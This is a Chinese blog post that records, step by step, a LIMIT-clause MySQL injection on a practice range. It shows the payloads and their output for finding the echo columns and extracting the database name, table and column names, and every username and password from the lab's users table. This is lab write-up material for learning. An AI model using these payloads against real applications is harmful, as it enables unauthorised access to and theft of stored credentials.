• 五号黯区靶场 mysql 注入之limit注入记录


    前言

    感谢五号黯区团队。
    limit 功能 通常在分页处
    比如page 字段 可能存在

    limit注入(不存在order by)

    http://bug.cc:86/limit/limit.php?p=1
    访问靶场如下图
    在这里插入图片描述

    原数据库语句如下

    select * from users where id <= 100 limit $p,1 
    
    • 1

    p为传参点

    1.1 当p 为1时 sql语句和回显为

    select * from users where id <= 100 limit 1,1
    
    id:2 username:Angelina password:I-kill-you 
    
    • 1
    • 2
    • 3

    1.2 测试是否存在sql注入

    payload:输入2 --+

    select * from users where id <= 100 limit 2 -- ,1
    
    id:1 username:Dumb password:Dumb
    id:2 username:Angelina password:I-kill-you 
    
    • 1
    • 2
    • 3
    • 4

    如上 注释掉了 后边的,- 查询出两条数据
    sql语句 执行成功 说明存在sql注入

    1.3 测试回显位(limit注入后不能用order by 判断列数 )

    payload:1,0 union select 1,2,3 --+

    select * from users where id <= 100 limit 1,0 union select 1,2,3 – ,1

    id:1 username:2 password:3

    1.4 爆数据

    select * from users where id <= 100 limit 1,0 union select 1,2,database() -- ,1
    
    id:1 username:2 password:security 
    
    • 1
    • 2
    • 3

    select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- ,1
    
    id:1 username:2 password:emails,referers,uagents,users 
    
    • 1
    • 2
    • 3

    字段(两个语句锁定这个表)

    select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- ,1
    
    id:1 username:2 password:id,username,password
    
    • 1
    • 2
    • 3

    字段值

    select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(username,0x7e,password) from security.users -- ,1
    
    id:1 username:2 password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
    
    • 1
    • 2
    • 3

    1.5 总结

    回显 传入 2–+ 测试 就可以显示出3个字段

    后续测法就和正常union 联合一样 但是不能用order by 判断数据列数

  • 相关阅读:
    《剑指offer》07.重建二叉树
    Oracle发布支持Vscode的Java插件
    洛谷 P1021 邮票面值设计
    基于场景分析法的电动车优化调度(Matlab代码实现)
    ⚡性能优化之首屏秒开
    含外部储能的电力系统暂态稳定分布式控制
    C++ 字符串各种类型转换的函数封装 【宝藏博客】
    微信小程序----父子组件之间通信
    矩阵补全学习笔记
    UVa 10594 Data Flow / 最小费用最大流
  • 原文地址:https://blog.csdn.net/YouthBelief/article/details/125908701